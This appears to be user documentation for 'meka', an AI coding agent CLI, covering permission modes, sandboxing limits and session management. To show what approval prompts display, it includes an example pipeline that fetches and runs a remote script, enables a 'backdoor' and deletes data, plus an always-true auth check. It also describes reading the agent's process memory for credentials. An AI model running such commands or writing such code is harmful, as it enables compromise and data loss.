  • A workspace command can read meka’s process memory, and a read command cannot. This is the one axis on which workspace is weaker than the level below it, so it is worth stating plainly. WRITE_RESTRICTED intersects the restricting SIDs for write access only, and the integrity label is left alone, so nothing stops a workspace child calling OpenProcess with PROCESS_VM_READ against meka and reading whatever the process is holding, including your provider credentials. Measured on real hardware: a native probe run at workspace read a canary string straight out of meka’s heap, while the identical probe at read failed at OpenProcess with ERROR_ACCESS_DENIED, because Low integrity refuses the handle. There is no clean fix inside the current design. Dropping the workspace child to Low integrity would confine it to the Low-integrity surface and take the workspace write grant with it, and a deny ACE on meka’s own process would have to name a SID the child carries but meka does not, which the restricted token does not provide. Treat workspace on Windows as protecting your files from the agent, not as protecting meka’s secrets from a command the agent runs.

  • PowerShell runs in ConstrainedLanguage mode. The restricted token triggers it, and read and unrestricted are unaffected (both report FullLanguage). Scripts that construct .NET types or set properties on them will fail at workspace where they work at unrestricted. meka’s own UTF-8 output preamble is skipped rather than run there, so non-ASCII output at workspace is decoded with the host’s legacy code page and may be mangled.

The mechanism is a port of a community proof-of-concept rather than a vendor-supported sandboxing API, unlike Landlock, Bubblewrap and Seatbelt. It is the tightest boundary Windows offers without provisioning machine-level identities, which would need an Administrator setup step.

Default Permission

The default permission is read. The default enabled set is none / read / workspace / unrestricted. ask is opt-in: enable it under [permissions] in your config if you want approval prompts.

Shift+Tab reaches workspace before unrestricted, so the confined mode is the one you land on first when you want the agent to change something.

You can change the start mode with:

  • CLI flag: meka --permission workspace
  • Environment variable: export MEKA_PERMISSION=workspace
  • Config file: [permissions] default = "workspace"; see Config File

If --permission or MEKA_PERMISSION selects a mode that isn’t in [permissions].enabled, meka logs a warning and starts in the configured default instead of refusing to launch.

If every entry in [permissions].enabled is unusable – most likely a config written before write was split – meka warns and falls back to read alone, not to the default set. A failed parse must never resolve to more authority than you wrote, and the default set is four modes wide.

Upgrading from write

The write mode was split in 0.42 and the name is retired. It resolves to nothing, and every surface says which of the two replaced it:

  • workspace for writes confined to the working directory. This is what most write users actually wanted.
  • unrestricted for the old behaviour exactly: no boundary, no sandbox on the shell.

write is refused rather than reassigned on purpose. The same words are also requirements in [tools.tool_permissions], [mcp.servers.*].tool_permissions and [mcp].default_permission, where silently re-pointing the name at the narrower mode would have admitted tools a rung earlier than their author intended. A hard failure at every door is the safe direction.

Anything meka persisted for itself (a sub-agent’s saved spec, a scheduled job’s gate) needs the one-shot migration script; those values were never typed by you and cannot be fixed by hand.

Changing Permissions at Runtime

Press Shift+Tab to cycle through permission levels:

none → read → workspace → ask → unrestricted → none → ...

Disabled modes are skipped during cycling. With the default enabled set, Shift+Tab cycles none → read → workspace → unrestricted → none.

Or use the /permission slash command:

/permission workspace
/permission unrestricted

/permission <mode> against a disabled mode prints an error naming the currently enabled set.

The prompt indicator updates immediately to reflect the new level. The agent learns the current level via a per-turn [Permission context] block prepended to your message (see How Permissions Work below).

Ask Mode

In ask mode, the agent has access to all tools, but each tool call is paused for your approval:

[ask] Shell
  command: ls -la
Allow? (Y/n)

Press Enter or y to approve, or n to deny. If denied, the agent receives an error and may try an alternative approach.

Only y, yes, n, no (any case) and a bare Enter mean anything. Anything else is not an answer, so meka says Please answer y or n. and asks again rather than guessing; after three unanswered attempts it denies. Ending the input (Ctrl+D, or a redirected stdin running out) also denies, since nobody is there to approve.

Ctrl+C does not dismiss the prompt: it cancels the turn, but the prompt is still waiting to be answered, and the next Enter answers it. Use n or Ctrl+D to get out of one.

This mode is useful when you want the agent to have full capabilities but want to review each action before it executes.

What the prompt shows

Every argument the tool was called with, not just the one the [tool ...] indicator picks out. That distinction matters: the indicator’s argument is the destination for every write-shaped tool, so a prompt built from it would ask you to authorise writing to a path without showing the content, or editing a file without showing the edit.

[ask] WriteFile
  path: src/auth.rs
  content:
    pub fn verify(token: &str) -> bool {
        true
    }
Allow? (Y/n)

A long value wraps rather than being cut, so the end of a shell pipeline cannot be hidden from the line you are approving.

Where something has to be left out, the end is kept. A value too long to wrap in full shows its beginning, a count of what was dropped, and then its final row:

[ask] Shell
  command:
    curl -s https://example.com/setup.sh | sh -c 'cat >> ~/.bashrc &&
    ... 85688 more characters ...
    systemctl enable backdoor && rm -rf /important'
Allow? (Y/n)

That matters more here than anywhere else in meka. A shell pipeline puts its consequence last, so a prompt that fills its rows from the top and stops hides the exact part you are being asked about.

The limits: 20 lines and 60 rows per argument, and 100 rows of block before further arguments are dropped and named – 161 rows at the very worst. Those sit an order of magnitude above anything a real tool call carries; they are there so a call with two hundred invented arguments cannot scroll the real one off the top of your screen without saying so.

Whenever a marker appears, denying costs nothing: say no, inspect the file or the session with meka session export, and let the agent retry.

This is deliberately unaffected by display.tool_params, which controls the passive indicator. Turning that off for a quieter scrollback does not make your approval prompts show less.

One consequence worth knowing: if the model passes a secret as a tool argument, an approval prompt puts it on screen. That is the correct trade at the moment you are authorising the call, but it does mean such a value lands in your scrollback.

How Permissions Work

When the agent attempts to use a tool, meka checks whether the current permission level allows it:

  • If allowed, the tool executes normally.
  • In ask mode, you are prompted to approve or deny.
  • If denied, meka returns an error message to the agent explaining which level is required and suggests running /permission <level>.

Telling the agent the current level

meka lists every registered tool in the per-turn <context> block with its required permission level inline (nothing is filtered out), and the same block carries a compact [Permission context] section:

<context>
[Permission context]
Current permission level: read
Only read-only tools are executable.

[Environment context]
Working directory: /home/you/project

[Available tools]
- **read_file** (requires `read`)
- **write_file** (requires `workspace`)
...
</context>

That two-line permission section is almost the only permission-dependent content in the request; [Environment context] is the other, since it is empty at none and gains a writable-roots block at workspace. The system prompt and the tools-array schemas stay byte-identical across /permission toggles, so mid-session level changes don’t invalidate the Claude prompt cache; the entire conversation stays warm.

The same reasoning is why the tool catalogue itself lives here rather than in the system prompt. Prompt caching is prefix-based, and the system prompt heads that prefix, so anything cached there that later changes (an MCP server connecting late or hot-swapping its tools, a skill being installed) would re-cache the entire conversation behind it. The <context> block rides inside your own message instead, so changes are appended rather than rewritten.

Only what actually changed is re-sent. The first turn of a session carries the full catalogue, skill list, and any MCP server instructions; a turn where nothing moved carries none of it, and a turn where something moved carries a short note naming just that change.

MCP tool permissions

MCP tools are classified through a 5-step resolution chain: per-tool override → server-level override → the server’s own readOnlyHint[mcp].default_permission → a hardcoded unrestricted fallback. See the Permission resolution section of the Config File docs for the full rules and how to override a misclassified tool.

Built-in tool permissions

Any built-in tool’s required permission can be overridden from config.toml without editing code; see [tools]: built-in tool filters. The same section documents how to allow-list or block-list specific built-ins (e.g. disabling search_web in a locked-down environment).

Sub-agent permissions

Sub-agents spawned via agent_spawn inherit the parent’s permission level by default. At unrestricted the sub-agent can call write_file, edit_file, and unsandboxed execute_command; at read it’s confined to read-only tools. To run one delegated task with reduced privileges, pass the permission parameter (e.g. agent_spawn({prompt: "...", permission: "read"})): it is clamped to the parent’s level as a ceiling, so a sub-agent can only ever be equal-or-more restricted, never escalated. Because workspace and ask are incomparable, a request for one under a parent holding the other resolves to the parent’s own level rather than granting either. Alternatively, cycle the parent into a lower mode before issuing the spawning prompt to restrict every sub-agent it spawns.

Examples

Read Mode (Default)

meka [r] > read the contents of main.rs

The agent uses read_file and shows the contents. Shell commands also work in read mode, but run in a read-only sandbox; the filesystem is write-protected for the child process:

meka [r] > list the files in this directory
meka [r] > show me the git log

Commands like ls, cat, git log, df, ps, and uname work normally. Commands that attempt to write to the filesystem (e.g. touch, rm, mkdir) fail with a permission error.

Two things the sandbox deliberately does not restrict, on every backend:

  • Reads. A sandboxed command can read anything your user can, including ~/.ssh, ~/.aws/credentials and meka’s own database. Read mode protects the machine from being changed, not from being read.
  • The network. Outbound connections are left open, so a read-mode command can still send what it read. Provider API keys are scrubbed from the child’s environment, but that is one vector, not a boundary.

On Windows, workspace extends that first point to meka’s own process. Its WRITE_RESTRICTED token restricts writes only, and unlike read it deliberately leaves the integrity label at the parent’s level, so a confined command can open meka with PROCESS_VM_READ and read its memory. Measured on Windows 11: OpenProcess succeeds and ReadProcessMemory returns data. This is the one respect in which workspace confines less than read, whose Low-integrity token Windows blocks from opening a medium-integrity process at all. It grants nothing that reading meka’s database file would not, which a command at either level can already do, but it is worth knowing if you were treating workspace as strictly wider than read in every direction. They are not ordered that way; see the ladder note above.

If no sandbox backend is usable, read-mode shell commands fail rather than running unconfined. On Linux that means Bubblewrap (preferred whenever bwrap is installed) or Landlock at ABI v3 or newer. Landlock below v3 does not mediate truncate(2), so a “read-only” command could still empty an existing file, and meka refuses it rather than promise a protection the kernel is not enforcing. Kernels 5.13–6.1 therefore need bwrap installed for read-mode shell; meka says so at startup.

If you ask the agent to modify a file:

meka [r] > add a comment to the top of main.rs

The agent will explain that it cannot write files in read mode and suggest switching to workspace.

What read mode does still write

Read mode means the agent cannot modify your tree. It can still write to stores meka owns, because otherwise an agent at read permission could never remember anything:

StoreLocationTools
Memorythe memories table in MEKA_DATA_DIRmemory_write, memory_delete
Skills~/.config/meka/skills/skill_write, skill_delete (only with [skills] agent_managed)
Scratchpad, todos, scheduled jobs, background tasksthe session databasevarious

Of those, only the skill tools reach the filesystem at all; memory is a database table. That boundary is enforced in two places: a skill name must be one path component matching the Agent Skills spec’s own rule (lowercase letters, digits and hyphens), so it cannot contain .. or a path separator, and a symlink sitting at that name is refused rather than followed, so an existing link cannot redirect a write out of the store. Memory names are governed by a different and wider rule ([A-Za-z0-9_-]), which is safe for a different reason: a memory name is a primary key in a table, never a path. write_file, edit_file and scratchpad_save_file are the only built-ins that touch your tree, and all three require workspace or above, and are fenced to the workspace roots at that level.

A root you asked for is not always a root you get. --writable-root drops a path three ways, each with a warning: one that is not a directory, one naming a system directory the sandbox masks (/, /proc, /dev, /sys, /run, /tmp, /var/tmp, $XDG_RUNTIME_DIR), and one that does not resolve at startup – the last is kept rather than refused, so a build directory becomes a root the moment it exists. See CLI options.

MCP tools are the exception

Tools from MCP servers are not built-ins and are not covered by that boundary. They execute inside the server’s own process, which meka does not sandbox, so what an MCP tool may do is bounded by the server, not by meka’s permission level.

What decides whether such a tool is reachable at read is the permission meka resolves for it, and by default a server’s own readOnlyHint: true annotation is enough to classify it as read. That hint is asserted by the server and not verified. A server that advertises it for a tool that in fact writes therefore gets to write your tree while meka sits at read.

For a server you have not audited, either pin its tools explicitly with tool_permissions or set trust_read_only_hint = false on it, which makes the hint advisory for display only and drops its tools to the strict unrestricted fallback, past [mcp].default_permission.

So the honest statement of read mode’s filesystem guarantee is: your tree is safe from meka’s built-in tools, plus whichever MCP servers you have chosen to trust.

Note: The read-only sandbox uses Bubblewrap or Landlock (ABI v3+, kernel 6.2+) on Linux, sandbox-exec on macOS, and a Low-integrity token on Windows. See Shell for what each backend covers. Where no backend is usable, shell commands are not available at read or workspace. You can disable sandboxed shell execution by setting sandbox = false under [shell] in the config file (see Config File), which makes execute_command require unrestricted instead.

Workspace Mode

meka [w] > run cargo test and show me the output

The agent uses execute_command to run the tests and shows the results.

Sessions

Sessions persist your conversation so you can resume later. Each session is identified by a UUID and stored in a SQLite database.

How Sessions Work

  • A session is not created when meka starts. It is created lazily when you send the first message.
  • When a session is created, its UUID is printed to stderr.
  • When you exit meka (Ctrl+D), the session UUID is printed again so you can note it for later.
  • Sessions include the full conversation: your inputs, the agent’s responses, and tool call results.

Resuming a Session

Continue Last Session

meka -c

This resumes the most recently updated session. -c takes no value, so you can follow it with an opening prompt: meka -c "and now add tests".

By UUID

meka -r 550e8400-e29b-41d4-a716-446655440000

The agent loads the previous conversation and continues from where you left off.

By UUID Prefix

If the value passed to -r isn’t a valid UUID, meka treats it as a leading prefix and looks up sessions whose ID starts with it. This avoids having to copy the entire UUID:

meka -r 550e            # works if exactly one session starts with `550e`
meka -r 5               # likely ambiguous; meka lists matching IDs and exits

When a prefix matches multiple sessions, meka prints the matching IDs (most-recent first) so you can disambiguate. Type a few more characters until the prefix is unique.

What a Resume Restores

A session records what it runs on, and a resume brings all of it back:

  • The provider profile. A session started with --provider openai resumes on openai, whatever default_provider says. This matters beyond the surprise: a thinking block is tagged with the provider that produced it and is not replayed to a different one, so resuming across providers would silently discard the reasoning the conversation recorded, and a different account would be billed.
  • The permission level. A session created at unrestricted resumes there without the flag.

Everything the profile itself states comes with it: the model, the endpoint, the context window the gauge and auto-compaction measure against, and whether images may be attached. A session records the profile’s name, not a copy of its settings, so editing the profile with meka provider set moves every session on it. Two sessions on one meka serve can sit on profiles with different windows and each is measured against its own.

Naming --provider on a resume repins the session: the row is rewritten, so it keeps that profile from then on rather than for one run. --permission repins the same way.

You can also change the provider mid-session: /provider <name> in the REPL, PATCH /v1/sessions/{id} with {"provider": "..."} over HTTP, or the Provider picker in an ACP client. Each rewrites the row.

That PATCH is also how you rescue a session over HTTP when its profile has left config.toml: a body naming only a provider moves the row without building an agent for it, so it works on a session that cannot currently run. From the CLI the equivalent is meka -r <id> --provider <name>.

Switching provider mid-conversation is allowed and is your call. From the next turn the model no longer sees the reasoning recorded under the old provider, for the reason above.

What a Resume Does Not Restore

--writable-root is not restored, because it belongs to the process rather than the session; pass it again. See permissions for why recording it would be wrong.

A resumed session opens in the directory it recorded, not the one your shell is in. meka -c from anywhere reopens the session where it was working, and /cd is the only thing that moves it. This is deliberate: at workspace the working directory is the writable boundary, so adopting the shell’s would silently widen it – resume a project session from $HOME and the whole home directory becomes writable, with a scheduled job able to fire before you could react. If the recorded directory has since been removed, meka warns and opens where you are. To get back to your shell’s directory, run /cd with no argument.

A resume restores the conversation, not the world it ran in. The messages come back verbatim, which means the agent reads its own earlier tool calls and can reasonably assume their effects still hold. Two kinds of state do not survive the process that made them:

  • Which files have been read. meka tracks reads in memory so edit_file can refuse to write over a file the agent has not seen. A new process starts with that record empty, so the first edit to any file asks for a read_file first.
  • Anything an MCP server was holding. A loaded database, an authenticated session, a subscription – these belong to the server’s process, not to the conversation, and a reconnect drops them. meka has no way to model what a given server keeps open.

Everything else is restated in the per-turn context on every turn regardless (permission level, working directory, todo list, tool catalogue), and background tasks that were running deliver an interrupted outcome, so none of those can go stale unnoticed.

Because the second kind is unknowable from meka’s side, the first turn after a resume carries a [Session resumed] note telling the agent to re-establish rather than assume. It appears once and is not repeated. There is nothing to configure.

Session Locking

Only one meka instance can be attached to a session at a time. This prevents race conditions from concurrent writes.

  • The lock is taken the moment the session row exists, which for a brand-new session is at the start of its first turn rather than the end. A second invocation launched while that turn is still running is refused like any other.
  • If you try to resume a session that is locked by a running meka process, you will get an error.
  • If the locking process has exited (crashed or was killed), meka detects this and allows you to take over the lock.
  • Under ACP (meka acp), the lock is released as soon as the editor disconnects: closing the connection (stdin EOF) or sending SIGTERM/Ctrl-C makes meka acp exit, so the session can be reopened immediately.

Storage Location

Sessions are stored in a SQLite database at a platform-specific location:

PlatformPath
Linux~/.local/share/meka/meka.db ($XDG_DATA_HOME/meka/meka.db)
macOS~/Library/Application Support/meka/meka.db
Windows%APPDATA%\meka\meka.db

What else is in that directory

meka.db-wal and meka.db-shm are SQLite’s own companions to the open store, not backups. The locks/ subdirectory holds the lock files meka uses to keep two processes off one session and off one schema change; it is empty of anything worth reading.

You may also find one meka.db.v<version>.bak. meka copies the store aside before it changes the schema, and keeps exactly one such copy: the next schema-changing upgrade takes a fresh one and removes the one before it, so the copies do not accumulate. Expect the data directory to settle at roughly twice the size of the store, and to peak higher than that during an upgrade, since the new copy is written before the old one goes.

To restore one, stop every meka process and copy it over meka.db. It records the schema version it was taken at, so the next start brings it forward again rather than mistaking it for a current store. Because only the newest is kept, restoring undoes the most recent schema-changing upgrade and nothing before it; move a copy of your own aside if you want to go back further.

An interrupted upgrade can leave a meka.db.v<version>.bak.partial behind. That is a copy that never finished, so it is not restorable and nothing removes it; delete it whenever you like.

Anything else you put in this directory is yours and meka leaves it alone, including a file whose name merely resembles the above.

Database Schema

The three tables below are the conversation itself. The database holds seven more, which the features that own them document: scheduled_jobs (scheduling), background_tasks (background work), memories and its memories_fts full-text index (memory), prompt_history (the REPL’s input history), and provider_credentials and mcp_credentials (secrets, never in config.toml).

sessions, one row per session:

ColumnTypeDescription
idTEXT (UUID)Primary key
created_atTEXT (RFC 3339)When the session was created
updated_atTEXT (RFC 3339)When the session was last updated
parent_session_idTEXT (UUID)The session that spawned this sub-agent, or NULL
cwdTEXTWorking directory the session is in; moved only by /cd, ACP, or PATCH
permissionTEXTPermission mode a re-attached session resumes with
capabilities_jsonTEXTPer-session capability flags, for HTTP re-attach
token_idTEXTBearer token that created the session, for HTTP
additional_roots_jsonTEXTWorkspace roots beyond cwd
subagent_spec_jsonTEXTThe terms a sub-agent was spawned under
stat_*INTEGEREight cumulative counters behind /status
providerTEXTProvider profile the session runs on. Never NULL, though a row carried forward from a store that predates the column can hold ''

Locks are OS file locks under the data directory, not a column: a row cannot record a crashed process’s PID and lock a session forever.

messages, one row per message in a session:

ColumnTypeDescription
idINTEGERAuto-incrementing primary key
session_idTEXT (UUID)Foreign key to sessions.id
roleTEXTuser, assistant, or tool_results
contentTEXTMessage content (plain text or JSON)
created_atTEXT (RFC 3339)When the message was saved

tool_outputs, scratchpad entries, one row per entry:

ColumnTypeDescription
session_idTEXT (UUID)Part of composite primary key
nameTEXTPart of composite primary key
contentTEXTThe stored content
created_atTEXT (RFC 3339)When the entry was created

Scratchpad entries are scoped to a session. Two sessions can have entries with the same name. Entries are preserved across compaction but deleted when a session is deleted.

History Retention

meka never deletes sessions unless you ask it to. Conversation history isn’t reproducible, so there is no default cleanup by age and none at all by size.

If you do want a time window, set it explicitly:

[session]
retention_days = 30   # delete sessions not updated in 30 days, at startup

With that set, meka deletes matching sessions when the agent starts and says so at warn level, so a deletion you configured is still a deletion you see. Unset (the default) keeps everything forever.

To prune on demand instead, delete on your own schedule:

meka session delete --older-than-days 90   # same window, run when you choose
meka session delete <id> [<id>…]           # specific sessions
meka session delete --all                  # everything

Deleting a session also removes its messages, scratchpad entries, and any sub-agent children.

A session is locked from the moment it exists – the lock is taken before the row is written, so a sweep in another terminal cannot catch it in between. That holds for new sessions, for sub-agent sessions, and for forks made by the REPL or an editor. Copying a conversation holds it still too: meka session fork and meka session export refuse a session another process has open, because a copy taken mid-turn ends on a user message the model never answered and restores as an unusable session. meka session rewind has always done this.

No deletion touches a session another meka process has open. Naming one by id fails and says so; --all, --older-than-days and the startup sweep skip it and report how many they left behind. This matters most for the startup sweep, because only turns bump a session’s timestamp – resuming does not – so a REPL left at its prompt past the window looks expired while somebody is sitting in front of it.

See Config File for details.

Context Window Limiting

Long sessions can exceed the LLM’s context window or become expensive. The context_messages setting (default: 200) limits how many recent messages are sent to the API:

[session]
context_messages = 100

The full history remains in SQLite for resumption. Only the API payload is truncated. The cap applies to every request in a turn, not just the first, so a long tool loop cannot grow the payload past it mid-turn, and the truncation preserves tool call chains (it never splits a tool use from its result). Removing the key restores the default of 200 rather than lifting the cap.

The tool catalogue and skill list travel in the conversation rather than the system prompt, so they are subject to this window too. meka tracks where it last stated them and restates them in full once that message scrolls out, which works out to roughly once per window. Setting context_messages very low therefore makes those restatements more frequent.

Compacting a Session

When a session becomes too long, /compact replaces the older turns with a summary and keeps a token-budgeted tail of the most recent messages verbatim (snapped to a clean user-turn boundary so tool calls aren’t split).

By default the summary is written by the agent itself, in a checkpoint turn that runs before anything is discarded. The agent gets its real system prompt, its memory index, the full conversation, and a small set of tools, and is told its context is about to be replaced. It saves whatever must outlive the window (memory_write for facts and decisions that should still be true in a future session, the scratchpad for working material), then calls context_replace with the summary.

This matters because compaction is the one moment information is destroyed, and before this it was also the one moment the agent could not act. The alternative, a separate summarizer call, knows nothing about who the agent is or what it is for.

A checkpoint can save, but not act. It reaches the memory, scratchpad, todo, conversation-history and read-only search tools, and nothing else: no shell, no file writes, no sub-agents, no scheduling, no MCP. The delete tools are excluded too, since deleting is not saving and a mistaken delete in an unattended checkpoint is unrecoverable. A tool disabled in [tools] stays disabled here.

You can say what to keep:

/compact keep the auth refactor decisions, drop the debugging

The confirmation reports what was written, because memories are durable and instance-scoped:

Session compacted. Wrote 2 memories: deploy-pipeline-quirks, api-rate-limits.

Note that an automatic compaction runs a checkpoint too, unattended, and can write memory without anyone watching.

Compaction preserves scratchpad entries and the todo list, and re-injects environment context so the agent isn’t disoriented afterwards. The tool catalogue, skill list, and MCP server instructions are restated in full on the next turn, since the messages that carried them may have been summarized away. Tools loaded via load_tool stay loaded; the deferred-tool active set is snapshotted into the compaction boundary. If a detail was dropped, the model can conversation_search / conversation_read the full pre-compaction history, which stays on disk.

Internally, compaction does not delete pre-compaction rows from the database. It appends a compact_boundary row to the messages table; the materialized view is reconstructed from the event log, so the persisted log itself stays append-only.

When the summarizer runs instead

A standalone summarizer, with no tools and none of the agent’s identity, is the fallback. It runs when:

  • The compaction is an emergency one, i.e. the provider has already rejected the request for exceeding the window. A checkpoint turn re-sends that same conversation, so it would be refused identically; the summarizer strips images and truncates long blocks, which is what lets it get through.
  • The checkpoint turn fails or produces nothing usable.
  • compact_checkpoint is off.

There is one rung in between: if the checkpoint turn ends without calling context_replace but did write a summary in prose, that text is used. tool_choice isn’t available across meka’s providers, so the call can’t be forced.

[session]
compact_checkpoint = true   # default

Turning it off leaves the standalone summarizer to write every summary, which saves one model call per compaction at the cost of the agent having no say in what survives.

Auto-Compact

When auto_compact is enabled (default: true), meka automatically compacts the conversation when the input token count exceeds 80% of the context window. The threshold check runs between turns, not during tool loops. It is both reactive (the previous turn’s reported usage) and proactive (an estimate of the next request, so a turn whose own input jumps over the window is compacted before it is sent). As a last resort, if the provider still rejects a request for exceeding the context window, meka compacts once and retries the turn instead of failing.

[session]
auto_compact = true
context_window = 200000  # optional override

Agent-Initiated Compaction

The agent doesn’t have to wait for the threshold. context_compact asks for a compaction before the agent’s next step: it runs once the current batch of tool calls finishes, and the turn then carries on against the summary. What it reclaims is history from earlier turns: with the default keep_recent, the tail is cut back to a clean user boundary, so the current turn stays verbatim and an agent that filled its window with this turn’s own tool results gets little back. One compaction per turn: a further request once the first has run is ignored, and the agent can ask again on a later turn.

context_compact(instructions: "the day's work is in memory now", keep_recent: false)

keep_recent: false skips the verbatim tail entirely, so the summary is all that remains. That is the difference between compacting and turning the page, and it’s what makes a “start of a new day” routine work: a scheduled job at midnight can write the day’s diary to memory, then compact clean, instead of carrying yesterday’s context forward indefinitely.

The request is parked rather than applied where it is made: a tool cannot rewrite the conversation the agent loop is holding. It is drained at the next boundary between rounds, once the batch’s tool results are in, which is what lets the rest of the turn run against the summary.

What the Agent Sees

Once a turn has been measured, the per-turn context block carries a [Context budget] line reporting occupancy and the threshold compaction fires at:

[Context budget]
Using ~84k of 200k tokens (42%). The conversation is summarised automatically at
80%, which loses detail, so prefer to finish or checkpoint work before then.

The agent is expected to budget its own reading and to decide when a task will fit, so it needs the same number the harness uses. Without it, those are guesses. The line is suppressed when the window is unknown, and on the first turn of a session, when there is no measurement yet rather than a genuine zero.

It rides the per-turn context block rather than the system prompt because it changes every turn and the system prompt is the cached prefix.

From the second compaction onward the line also reports how many have happened, since a summary of a summary has lost considerably more than a first pass:

This conversation has been summarised 3 times, so early detail is now several
removes from what was said; write anything that must last to memory rather than
relying on it surviving another pass.

Because that block is rendered once per turn, it does not move while the agent works. During a long tool loop, which is exactly when context moves fastest, it is stale. context_check reports the live figures on demand: occupancy, headroom in tokens, the fixed overhead compaction cannot reclaim, how much of the recent conversation would survive verbatim, and the compaction count. Refreshing the pushed block instead would rewrite a message the provider’s prompt cache already covers, invalidating it on every iteration; a tool result appends at the tail and is cache-safe.

Listing Sessions

To see past sessions:

meka session list

This shows a table with each session’s ID, last update time, provider profile, and a preview of the first message:

ID        Updated              Provider  Preview
550e8400  2026-03-14 12:00:00  work      How do I implement a binary search tree?
a1b2c3d4  2026-03-13 09:30:00  personal  Fix the login page CSS

The ID column shows as much of each id as distinguishes it from the others on screen, widening only if two would otherwise read the same. Every command that takes a session id – meka -r, export, show, fork, rewind, delete – accepts any unique prefix, so what you see is normally what you retype. An ambiguous prefix is refused and every match listed, rather than acted on.

Uniqueness is computed over the rows on screen, while the commands resolve against every session in the store. A listing narrowed by -n, or one hiding sub-agent sessions (they are hidden unless --include-children is given), can therefore print a prefix that a wider set makes ambiguous. That fails closed: the command refuses and names both ids, so nothing is acted on and the full id is one copy away.

For the whole id, and the working directory and permission the table has no room for:

meka session show 550e8400

By default the 20 most recent sessions are shown. Use -n to change:

meka session list -n 50

Sub-agent transcripts are hidden by default, so the listing stays the conversations you started. Add --include-children to see them too:

meka session list --include-children

The Provider column names the profile, which is the whole story: a session records a profile name and nothing else, so the model and endpoint it runs on are whatever that profile currently says. meka provider list shows them.

Exporting a Session

You can export any session as a Markdown file:

meka session export 550e8400-e29b-41d4-a716-446655440000

This writes session-550e8400-e29b-41d4-a716-446655440000.md in the current directory with the full conversation. User and assistant messages are rendered as Markdown sections, while tool calls and results are wrapped in collapsible <details> blocks. The export always covers the entire session, including turns that were later hidden from the model by compaction (each compaction point is marked with its summary).

To write to a specific file:

meka session export 550e8400-e29b-41d4-a716-446655440000 -o conversation.md

To print to stdout (for piping):

meka session export 550e8400-e29b-41d4-a716-446655440000 -o -

JSON (structured, round-trippable)

Pass --format json for a structured export instead of rendered Markdown:

meka session export 550e8400-e29b-41d4-a716-446655440000 --format json

This writes session-<id>.json, a lossless dump of the session’s event log (including input images and compaction boundaries), its cumulative stats, and scratchpad entries. Unlike Markdown, a JSON export also includes any sub-agent child sessions spawned during the conversation, and it can be re-imported with meka session import. It deliberately contains no credentials: API keys and OAuth tokens live in separate tables and are never part of an export.

Importing a Session

Recreate a session from a JSON export:

meka session import session-550e8400-e29b-41d4-a716-446655440000.json

meka assigns the imported session (and any sub-agent children) new UUIDs so they can’t collide with existing sessions, then prints the new root session ID. Resume it like any other session:

meka -r <new-id>

Read from stdin with -:

cat session.json | meka session import -

The import preserves the full conversation, per-message timestamps, cumulative stats, scratchpad entries, and the name of the provider profile the session ran on. That name is all an archive carries about the provider: the settings themselves come from whatever [providers.<name>] says on the installation importing it. An archive that names no profile adopts this installation’s default instead; repin it with --provider if it ran somewhere else. If nothing can supply one, because no default_provider is set and several profiles are configured, the import is refused rather than restoring a session that cannot run: set a default with meka provider use <name>, or name one for the import with meka --provider <name> session import.

updated_at is stamped to the import time rather than restored from the export, so that restoring an archive older than a configured retention_days window isn’t undone by the retention sweep on the next launch. created_at still carries the original.

Forking a Session

Branch off an existing conversation without disturbing it:

meka session fork 550e8400-e29b-41d4-a716-446655440000

The copy starts with the original’s full conversation and continues from there under a new UUID, which is printed on stdout so it can be captured:

meka -r "$(meka session fork 550e8400-e29b-41d4-a716-446655440000)"

Use it to try a different direction from a known-good point, to run a throwaway question against a large accumulated context, or to keep a conversation you’re about to compact.

What the copy carries: the full event log, scratchpad entries, working directory, permission level, additional workspace roots, and cumulative stats. What it does not: sub-agent child transcripts (the sub-agent’s result already sits in the parent conversation as a tool result, so the copy is complete without them), and the timestamps, which are stamped fresh.

A fork of an ordinary session records no link back to the one it came from; it is a top-level session like any other. A fork of a sub-agent is the exception: it keeps that worker’s parent and spawn terms, so the copy is a sibling under the same parent rather than a promotion to a session of its own, and it is continued through agent_followup like any other worker.

Forking copies what has been committed to the database, so forking a session with a turn in flight can capture that turn partially: the user message is persisted before the model is called, and each assistant round lands together with its tool results as it completes. The copy may therefore end mid-turn, with a user message that has no reply yet, or an assistant round that was not the last. Because each round and its tool results are written as one unit, the copy is never internally inconsistent, just short. Fork between turns if you want an exact copy.

The same operation is available from the REPL as /fork, which switches you into the copy and leaves the original where you branched; over HTTP as POST /v1/sessions/{id}/fork; and over ACP as session/fork.

Fork or export/import?

Both produce a runnable copy under a new ID. Reach for fork to branch a conversation you’re working on, and for export + import to move a session between machines or keep an archive. Export/import also copies sub-agent transcripts and preserves created_at, because an archive should restore whole.

Rewinding a Session

Drop the most recent turns from a session:

meka session rewind 550e8400-e29b-41d4-a716-446655440000
meka session rewind 550e8400-e29b-41d4-a716-446655440000 -n 3

The cut lands on a turn boundary, so a tool call is never separated from its result, and nothing is deleted: the dropped turns stay in the event log and still appear in meka session export, marked at the point of the rewind. The model simply stops seeing them.

The command takes the session lock, so it refuses to run while a REPL, meka serve, or meka acp holds the session; that process has its own copy of the conversation in memory and would write over the rewind on its next turn. In the REPL use /rewind instead. Under ACP or the HTTP API there is no in-session equivalent, so close the session in the editor (or stop the server) and run this command.

Its main use is recovering a session a provider has started refusing. A provider validates the whole conversation on every request, so one piece of content it rejects fails every later turn too.

meka repairs a rejection caused by content added since the last request the provider accepted, and repairs a mislabelled image on resume, but anything older than that needs rewinding past. That window is usually the current turn, and it reaches back into the previous one when a turn failed mid-tool-loop and left it unaccepted. A compaction widens it to the whole conversation, because a compaction replaces that conversation wholesale and nothing in the result has been accepted yet. The repair escalates: first it removes the attachments the turn added and leaves everything else alone, and only if that is refused as well does it empty the turn’s tool calls, moving each call’s arguments into the result that reports it and replacing the result’s body with an explanation. The second step exists because a tool result is usually text, which the first step cannot touch, and because a call’s own arguments can be what the provider objected to. A step the provider then accepts is not counted as spent, so the cheap one stays available if the turn is refused again later.

Neither step changes the shape of the conversation: a tool call stays a tool call and its result stays its result, marked as an error. That is deliberate. Removing one half of a pair is the one thing every provider refuses outright, so a repair that could do it might turn a recoverable rejection into a permanent one. The model sees a failed tool call, which it already knows how to read, with the arguments it sent quoted in the failure so it can tell which call not to repeat.

Nothing a repair removes is deleted. The log is append-only, so the superseded messages stay on disk and meka session export renders them above a marker saying what replaced them. Use --format json to get a removed attachment back: the markdown export writes each message as its text and leaves image blocks out. Only the conversation the model sees is changed.

